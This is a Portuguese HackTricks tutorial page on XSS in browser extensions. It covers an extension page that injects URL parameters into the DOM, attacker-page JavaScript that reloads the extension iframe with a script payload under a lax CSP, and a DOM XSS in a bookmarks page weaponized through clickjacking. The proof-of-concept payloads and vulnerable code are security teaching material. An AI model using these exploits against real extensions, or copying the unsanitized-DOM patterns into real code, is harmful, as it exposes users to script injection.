hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

135 lines
7.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BrowExt - Exemplo de XSS
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## XSS em Iframe
**Content script** cria um Iframe indicando uma **URL nos parâmetros da fonte do iFrame**:
```javascript
chrome.storage.local.get("message", result =>
{
frame.src = chrome.runtime.getURL("message.html") +
"?message=" + encodeURIComponent(result.message) +
"&url=https://example.net/explanation";
});
```
Uma página html exposta: **`message.html`**, acessível pelo **navegador**, contém um código como:
```java
$(() =>
{
let params = new URLSearchParams(location.search);
$(document.body).append(params.get("message") + " <button>Explain</button>");
$("body > button").click(() =>
{
chrome.tabs.create({ url: params.get("url") });
});
});
```
A página maliciosa executa um script como o seguinte para alterar a mensagem por um **XSS payload**:
```javascript
setTimeout(() =>
{
let frame = document.querySelector("iframe:last-child");
let src = frame.src;
// Remove existing query parameters
src = src.replace(/\?.*/, "");
// Add malicious query parameters
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
// Load into frame
frame.src = src;
}, 1000);
```
Uma Política de Segurança de Conteúdo permissiva como&#x20;
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
permitirá a execução do código JS.
Outra forma de acionar o XSS quando desejar é executando:
```javascript
let frame = document.createElement("iframe");
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
+ encodeURIComponent("<script>alert('XSS')</script>");
document.body.appendChild(frame);
```
## XSS Baseado em DOM + ClickJacking
A primeira vulnerabilidade é a vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM em **`/html/bookmarks.html`**, a seguir está o JavaScript vulnerável incluído em **`bookmarks.js`**:
```javascript
$('#btAdd').click(function() {
var btname = $('#txtName').val();
if ($('.custom-button .name').filter(function() {
return $(this).text() === btname;
}).length) return false;
var span = $('<span class="custom-button">');
span.html('<span class="name">' + btname + '</span>');
span.append('<a href="javascript:void(0)" title="remove">x</a>');
span.attr('title', btname);
span.data('id', (new Date().getTime()));
$('div.custom-buttons .existing').append(span);
save_options();
});
```
O JavaScript acima pega o **valor** da caixa de texto **`txtName`** e usa **concatenação de strings para construir HTML** que é anexado ao DOM através da função [“append()”](https://api.jquery.com/append/) do jQuery.
Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome deveria impedir que essa vulnerabilidade fosse explorada. No entanto, devido ao **afrouxamento dessa política via** [**unsafe-eval**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) e ao uso das APIs DOM do jQuery, ainda foi possível **explorar**. Isso ocorre porque muitas das APIs DOM do jQuery fazem uso de [“globalEval()”](https://api.jquery.com/jquery.globaleval/), que automaticamente passa scripts para [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) ao serem anexados ao DOM.
Embora essa seja uma vulnerabilidade grave, por si só a exploração é bastante limitada devido à **interação do usuário necessária para explorá-la**. A vítima teria que abrir a página, colar um payload de Cross-site Scripting (XSS) no campo e clicar no botão “Add” para explorá-la.
Para melhor armar essa vulnerabilidade, fazemos uso de uma vulnerabilidade separada (**clickjacking**) para reforçar o ataque.
A seguir, um trecho do manifesto da extensão do Chrome:
```json
...trimmed for brevity...
"web_accessible_resources": [
"_locales/*",
"bundle/*",
"dist/*",
"assets/*",
"font/*",
"html/bookmarks.html",
"css/*.css",
"js/*.js",
"js/jquery/*.js",
"js/lang/*"
],
...trimmed for brevity...
```
A seção acima demonstra que a extensão abrange um amplo espectro com sua política de **`web_accessible_resources`**.
A página **`/html/bookmarks.html`** também pode ser **emoldurada** e, portanto, **explorada** via **clickjacking**. Nós abusamos disso para emoldurar esta página em nossa página web e **sobrepor o frame com elementos DOM para redirecionar o layout**. Isso faz com que a vítima não perceba que está **interagindo com a extensão abaixo**. A animação a seguir demonstra esse efeito (confira a animação no [**artigo original**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)).
## Referências
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>